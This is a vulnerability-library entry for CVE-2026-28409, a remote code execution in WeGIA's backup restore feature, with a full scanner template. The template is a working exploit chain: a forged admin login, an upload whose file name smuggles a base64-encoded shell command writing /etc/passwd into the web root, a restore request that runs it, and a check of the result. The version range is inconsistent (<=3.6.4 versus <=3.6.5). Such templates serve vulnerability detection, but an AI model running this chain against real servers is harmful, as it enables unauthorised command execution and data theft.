/Vulnerability Library

WeGIA <= 3.6.4 - Remote Code Execution

CVE-2026-28409
Verified

Description

WeGIA <= 3.6.5 contains a remote code execution caused by improper validation of backup file names in the database restoration functionality, letting attackers with administrative access execute arbitrary OS commands

Severity

Critical

CVSS Score

10

Exploit Probability

1%

Affected Product

wegia

Published Date

April 17, 2026

Template Author

0x_akoko

CVE-2026-28409.yaml
id: CVE-2026-28409

info:
  name: WeGIA <= 3.6.4 - Remote Code Execution
  author: 0x_Akoko
  severity: critical
  description: |
    WeGIA <= 3.6.5 contains a remote code execution caused by improper validation of backup file names in the database restoration functionality, letting attackers with administrative access execute arbitrary OS commands
  impact: |
    Attackers with admin access can execute arbitrary OS commands, potentially leading to full server compromise.
  remediation: |
    Upgrade to version 3.6.5 or later.
  reference:
    - https://cxsecurity.com/issue/WLB-2026030009
    - https://github.com/LabRedesCefetRJ/WeGIA
    - https://nvd.nist.gov/vuln/detail/CVE-2026-28409
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-28409
    epss-score: 0.01434
    epss-percentile: 0.80913
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 4
    vendor: labredescefetRJ
    product: wegia
    shodan-query: http.html:"WeGIA"
    fofa-query: body="WeGIA"
  tags: cve,cve2026,wegia,rce

variables:
  filename: "{{to_lower(rand_text_alpha(8))}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        POST /WeGIA/html/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        c=true&cpf=admin&id_pessoa=1

    extractors:
      - type: regex
        name: session
        part: header
        group: 1
        regex:
          - 'PHPSESSID=([a-zA-Z0-9]+)'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        POST /WeGIA/html/configuracao/importar_dump.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: PHPSESSID={{session}}
        Content-Type: multipart/form-data; boundary=----test0boundary

        ------test0boundary
        Content-Disposition: form-data; name="usuario"

        1
        ------test0boundary
        Content-Disposition: form-data; name="id_pessoa"

        1
        ------test0boundary
        Content-Disposition: form-data; name="import"; filename="dump;export F={{filename}};eval $(echo Y2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9XZUdJQS8kRi50eHQ= | base64 -d);poc.dump.tar.gz"
        Content-Type: application/gzip

        {{hex_decode("1f8b08000000000000030300000000000000000000")}}
        ------test0boundary--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
        internal: true

  - raw:
      - |
        GET /WeGIA/html/configuracao/gerenciar_backup.php?action=restore&file=dump%3Bexport+F%3D{{filename}}%3Beval+%24%28echo+Y2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9XZUdJQS8kRi50eHQ%3D+%7C+base64+-d%29%3Bpoc.dump.tar.gz&usuario=1&id_pessoa=1 HTTP/1.1
        Host: {{Hostname}}
        Cookie: PHPSESSID={{session}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        GET /WeGIA/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009e76c1d9db1675ac645037e84af9346a44a565540514eed3d56232827ffa7e5c022072568c15b936ed8545acefe12611df810f2d4c86d313ff95fa65215e4caf9b69:922c64590222798bb761d5b6d8e72950
10.0Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE ID:
cve-2026-28409
CWE ID:
cwe-78

References

https://cxsecurity.com/issue/WLB-2026030009https://github.com/LabRedesCefetRJ/WeGIAhttps://nvd.nist.gov/vuln/detail/CVE-2026-28409

Remediation Steps

Upgrade to version 3.6.5 or later.